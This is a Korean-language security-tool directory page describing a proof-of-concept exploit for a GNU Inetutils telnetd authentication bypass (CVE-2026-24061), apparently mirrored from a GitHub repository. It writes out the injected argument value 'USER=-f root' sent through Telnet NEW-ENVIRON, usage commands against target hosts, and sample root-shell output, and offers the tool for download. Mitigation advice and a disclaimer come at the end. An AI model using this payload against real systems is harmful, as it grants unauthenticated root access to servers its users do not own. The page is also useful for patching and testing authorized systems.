Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-24061-GNU-Inetutils-telnetd-Remote-Authentication-Bypass-Root-Shell- — GNU Inetutils telnetd 인증 우회(CVE-2026-24061)를 위한 개념 증명 익스플로잇으로, 조작된 NEW-ENVIRON USER 변수를 통해 루트 셸을 실행합니다. | Kitploit
도구/GitHubGitHub/mbanyamer/cve-2026-24061-gnu-inetutils-telnetd-remote-authentication-bypass-root-shell-
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRemote Access Tool
GitHubmbanyamer/cve-2026-24061-gnu-inetutils-telnetd-remote-authentication-bypass-root-shell-

CVE-2026-24061-GNU-Inetutils-telnetd-Remote-Authentication-Bypass-Root-Shell-

GNU Inetutils telnetd 인증 우회(CVE-2026-24061)를 위한 개념 증명 익스플로잇으로, 조작된 NEW-ENVIRON USER 변수를 통해 루트 셸을 실행합니다.

저장소 보기
6개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Author Role Country Platform Vulnerability CVE CVSS Status


🧨 개요

이 저장소는 GNU Inetutils telnetd 원격 인증 우회 취약점에 대한 개념 증명(PoC) 익스플로잇을 포함합니다.

이 문제는 telnetd가 /bin/login을 호출하기 전에 Telnet NEW‑ENVIRON 협상을 통해 수신된 USER 환경 변수를 제대로 검증하지 않기 때문에 발생합니다.

다음을 제공하여:

root@kitploit:~
USER=-f root

telnetd는 사실상 다음을 실행합니다:

root@kitploit:~
/bin/login -f root

이는 인증을 우회하고 즉시 루트 셸을 생성합니다.

  • 제품: GNU Inetutils telnetd
  • 영향받는 버전: ≤ 2.7
  • 포트: 23/TCP
  • 인증: 불필요
  • 영향: 인증 우회 → 루트 셸
  • 권한: root
  • CVE: CVE‑2026‑24061
  • CVSS: 9.8 (치명적)

⚙️ 기술 세부 사항

Telnet NEW‑ENVIRON을 통해 클라이언트는 세션 협상 중에 환경 변수를 설정할 수 있습니다.

취약한 telnetd는 USER를 login에 직접 전달합니다:

root@kitploit:~
/bin/login -f "$USER"

공격자는 다음을 설정합니다:

root@kitploit:~
USER=-f root

결과:

root@kitploit:~
/bin/login -f root

-f 플래그는 login이 인증을 건너뛰도록 지시하여 루트 액세스를 허용합니다.


📦 요구 사항

  • Python 3
  • telnetlib (표준 라이브러리)
  • 취약한 inetutils‑telnetd ≤ 2.7을 실행하는 대상
  • TCP/23에서 접근 가능한 Telnet 서비스

외부 종속성은 필요하지 않습니다.


🚀 사용법

1️⃣ 익스플로잇 실행

root@kitploit:~
python3 cve-2026-24061.py 192.168.1.100

2️⃣ 포트 지정 (선택 사항)

root@kitploit:~
python3 cve-2026-24061.py example.com 23

3️⃣ 예상 결과

취약한 경우:

root@kitploit:~
# id
uid=0(root) gid=0(root)
#

이제 대화형 루트 셸을 사용할 수 있습니다.


🧪 예시

root@kitploit:~
python3 cve-2026-24061.py 10.10.10.20

출력:

root@kitploit:~
[+] Connected to 10.10.10.20:23
[+] Sent malicious USER=-f root via NEW-ENVIRON
[+] Negotiation complete - entering interactive shell
#

🧯 참고 사항

  • 익스플로잇은 즉시 실행됩니다
  • 무차별 대입 공격 불필요
  • 자격 증명 불필요
  • 실제 환경에서 악용되는 것이 관찰됨
  • 기본 Debian/Ubuntu inetutils‑telnetd 설치에서 작동
  • telnetd가 패치되거나 교체된 경우(예: OpenBSD telnetd) 실패

🛡️ 완화 조치

  • GNU Inetutils ≥ 2.8로 업그레이드
  • telnet 서비스 비활성화
  • SSH로 교체
  • 방화벽에서 TCP/23 차단
  • inetutils‑telnetd 패키지 감사

📊 PoC 공격 흐름

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant T as Target telnetd
    participant L as /bin/login
    participant R as Root Shell

    A->>T: Connect TCP/23
    A->>T: Telnet NEW-ENVIRON USER=-f root
    T->>L: Execute /bin/login -f root
    L-->>T: Auth bypass success
    T-->>R: Spawn root shell
    R-->>A: Interactive root session

⚠️ 면책 조항

이 익스플로잇은 다음을 위해 제공됩니다:

  • 보안 연구
  • 승인된 침투 테스트
  • 방어적 검증

소유하지 않거나 테스트 권한이 없는 시스템에 대한 무단 사용은 불법입니다.

도구 다운로드